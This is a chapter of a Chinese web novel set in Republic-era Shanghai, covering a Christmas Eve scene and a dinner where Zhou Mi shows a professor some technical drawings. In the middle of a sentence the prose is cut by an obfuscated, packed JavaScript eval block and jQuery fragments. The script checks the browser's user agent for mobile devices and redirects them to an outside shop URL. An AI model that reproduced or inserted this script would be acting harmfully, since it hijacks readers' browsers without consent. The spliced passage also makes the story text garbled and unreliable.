25. 重大突破(三)
作品:《民国好莱坞》 陆世铮站在鞋店门口,看着店员将一只只系着缎带的鞋盒搬出来,垒成小山。
店家殷勤地问要不要派伙计送去府上,他摇头拒绝了,或许是有些难为情,他不想再和别人因这件事多有接触。
他亲自将那些鞋盒一一搬进车里,后座很快被塞满,象牙白的盒角从车窗边露出来,在街灯下泛着柔软的光,发动车子,载着一车厢女鞋的林肯汽车缓缓驶入平安夜的流光里。
起初他只是开着,漫无目的。后来方向盘却自己转了向,朝着周弥所在公馆的方向开去。心底有个声音在说:也许路上就能遇见她呢?也许她正从哪个聚会回来,穿着大衣独自走在街道上,看见他的车,会惊讶地停下脚步。
她或许会说:"真巧,陆先生,你也路过这边。"
那他就能说:“不巧。周小姐,圣诞老人是特意来给你送礼物的。”
可直到车子在她公馆前停稳,楼上那扇窗依旧漆黑一片,他才从这场自导自演的戏里清醒过来。
已经很晚了,她到底在和谁度过这个平安夜?
引擎低鸣着,在冬夜里吐出白气。他静静坐了片刻,终于调转车头,载着那一车厢舞鞋,驶回了自己的公馆。
周弥从外头回来时,夜色已深。
她自然不知道陆世铮昨夜来过,还在楼下停了许久。只是梳洗时望着镜中的自己时,忽然想起他。
想起他不是因为别的,而是因为他答应帮自己引荐林秀山。按照社交礼仪来讲,于情于理,都该请他吃顿饭表示谢意,再加上自己又拒绝了他今晚的邀约,那就应该在与林秀山正式见面前,主动邀请陆世铮吃顿饭。
她拿起话筒,又瞥了眼座钟,感觉时间实在是有点晚了,于是等到次日午后,才往华光公司去了电话。
接线员转接了几次,听筒里终于传来陆世铮的声音。
“陆先生,是我。”她顿了顿,“你今天晚上有空么?我想请你吃个饭。”
在专业以外的人情世故上,周弥算不得圆熟。她只以为“请吃饭”便是字面意思,并没有多作解释,全然未曾想到一个未说明缘由的邀约,在听者耳中可作千万种解读。
譬如陆世铮,此刻以为她是为林秀山教授的事心急,所以主动打电话过来问询。
“好…林教授夫妇今晚也有空。不如我订好餐厅,再告诉你地址?”
周弥虽对图纸的事相当急切,但原本并没报着这个想法,现在一听他说林教授夫妇能同来,一激动便立刻应下:“那太好了!多谢你!”
陆世铮笑道:"没什么,不是什么了不得的事,何必谢。"
周弥得意地说:"了得还是了不得,你到时候就知道。"
…
红房子西餐厅的包厢,藏在二楼转角最深处。
这家西餐厅的壁灯是奶白色的玻璃罩,光线暖融融地洒下来,照得雕花墙纸上的葡萄藤蔓影子深深浅浅。周弥推门进去时,陆世铮正侧身与林教授说话。
陆世铮今日穿了深灰色西装,领带是极暗的墨绿,在灯下几乎看不出颜色,只衬得侧脸线条比平日更显清峻。
听见门响,他转过身来,眼里的笑意完全展开,他起身,手势自然地引向桌对面,“这位是林秀山教授,你见过的,这位是金曼丽女士,林教授的太太。”
周弥真没想到,原来林教授的那位喜爱电影的太太就是金曼丽,她刚要开口,金曼丽已经抢先笑道:"这你们不知道了吧,我们也是见过的。"
于是把周弥怎么在川菜馆里舌辩群儒的故事向大家一讲,直听得林秀山"哎哟"一声,赞不绝口。
林秀山也不甘示弱,又把周弥那天在舞会的表现和金曼丽讲,听到自己留下的翻译任务原来是周弥完成的,金曼丽也是"哎哟"一声。
这两人"哎哟"来"哎哟"去,陆世铮却只管看着周弥微笑。
周弥面上自然也是笑,心里却是笑不太出来。
陆世铮既然已经知道她和众一的人吃过饭,但凡脑子不傻,都会想到她和众一可能有牵扯。她刚要进华光,脚跟还没站稳,就要被怀疑上两面三刀,往后还怎么周旋?
可陆世铮真就像个不谙世事的傻子。他什么也没问,什么也没提,只是那样看着她笑,眼底干干净净的,除了温和的笑意,什么别的情绪也没有。
反倒让周弥更不安了。
是当真不知情?还是……知道了,却不在意?
前者,不可能,他不傻。
后者,为什么呢?
她垂下眼,端起侍者刚斟的茶。碧绿的茶汤在瓷杯里微微晃动,映出天花板上琉璃灯碎碎的光。
这么一走神的功夫,话题不知怎么的已经转到了电影宣传上。
金曼丽笑道:“今早看报,说众一昨天在南京路搞什么‘盲盒’,为了抢隐藏款,排队的人都打起来了!现在的小年轻,可真会玩。”
陆世铮执杯的手先是微微一顿,随即从容笑道:“我也听说了。众一近来动作频频,又是盲盒又是影迷会,看来是铆足了劲要在贺岁档出头。”
他略作停顿,目光似有若无地掠过周弥,“也不知道众一怎么回事,突然就补上了营销方面的短板。不过市场竞争嘛,各施所能,我们华光也有我们的底牌。”
说到这,冲周弥微微一笑。
周弥摸不透他的意思,不肯接他这茬,赶紧把眼睛转向金曼丽,换了个话题:“曼丽姐这对耳环真好看,哪里寻来的?”
金曼丽今日穿了件藕荷色绣银梅的软缎旗袍,耳垂上两颗南洋珠温润生光。听周弥夸赞,她眼波流转,声音里带了亲昵的娇嗔:“那我可不知道,是他送我的圣诞礼物。”说着,含笑瞥了林秀山一眼。
林秀山推了推眼镜,赧然道:“说来惭愧,虽是我去挑的,用的却是太太的钱。她太能挣,我实在比不来。”
一席话说得众人都笑起来。
周弥上次见金曼丽时,她是老板的身份,做事雷厉风行,现在见她,却很有在丈夫面前小女人撒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068351|193976||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娇的样子。而她的丈夫也并不大男子主义,看起来心中很崇拜她的妻子。确实是很般配的一对。
又听陆世铮此时捧场:"二位感情真是好。不管是男人还是女人,可以在自己想发光的地方自在地发光,另一半会认同;在想示弱的时候自在地示弱,另一半不会轻视,这就是非常好的感情状态。真是令人羡慕,也给我们两个还单身的做了个好示范。"说到这,往周弥这边望了一眼。
周弥心中想,你说就你说,点我干什么呢?我心里可没有任何羡慕的想法。然而还是跟着大肆捧场:"是啊,你们二位真是太幸福了。"
此时,侍者已经渐次布上前菜:冷切的伊比利亚火腿配蜜瓜、淋了初榨橄榄油的嫩芦笋、还有一小碟鱼子酱配烤得焦脆的薄饼。
陆世铮示意开酒,侍者斟上法国波尔多的红葡萄酒,深石榴色的液体在水晶杯里轻轻晃动,漾开一层层暖光。
金曼丽喝了一杯,忽然笑问:“说起来,昨夜平安夜,二位是怎么过的?”
周弥与陆世铮俱是一怔,几乎同时开口:“啊,这个……”两人目光在空中短暂一碰,又各自移开。
确实都不太方便实话实说。
金曼丽做惯了老板,是很擅长察言观色的,立刻猜到昨夜二人各有不便言说的安排,便轻巧转开话题:
“我和秀山可是去看了场电影…对了,华光的新片什么时候能上?我先做个说明哦!我可是个贪心的影迷,华光的也看,众一的也看,瑞星的也看,好莱坞的也看,总之,谁拍得好我就看谁的,可不站队哦。”
她朝陆世铮眨眨眼,“所以陆老板跟我说话可得斟酌,什么能拿来宣传,什么得藏着掖着,您心里得有数。”
众人又是一阵笑。
陆世铮顺势聊起华光正在筹备的新片,从布景风格说到服装考据。气氛越来越活络,侍者撤下前菜,端上了主菜。
煎得恰到好处的小羊排配薄荷酱,热气混着香气在桌间氤氲。
吃完这一轮,周弥觉得时机差不多了。她放下刀叉,从座椅旁拿起那只棕色的牛皮公文包。
“林教授,”她将一叠图纸取出,铺在餐桌边缘的空处,“有样东西,想请您看看。”
说着,她将图纸在桌面上缓缓铺开。
第一眼,林秀山“咦”了一声。
第二眼,他猛地站起身,椅子腿在地板上刮出刺耳的声响。
“这……这是…”
图纸铺满了半张桌面。墨线极细,全部都是手绘,却清晰如刻,密密麻麻标注着德文与英文术语。
最上方是整体结构剖面图,下方分解出传动系统、光学模块、电源组件……每一处都有详尽的尺寸标注与材料说明。
林秀山的眼镜几乎贴到纸面上。他左手按住图纸边缘,右手食指悬空,顺着一条线路慢慢移动,嘴唇无声地翕动,像在默念什么公式。
“秀山。”金曼丽轻声叫他。
他没应。整个人像被钉在了图纸前。

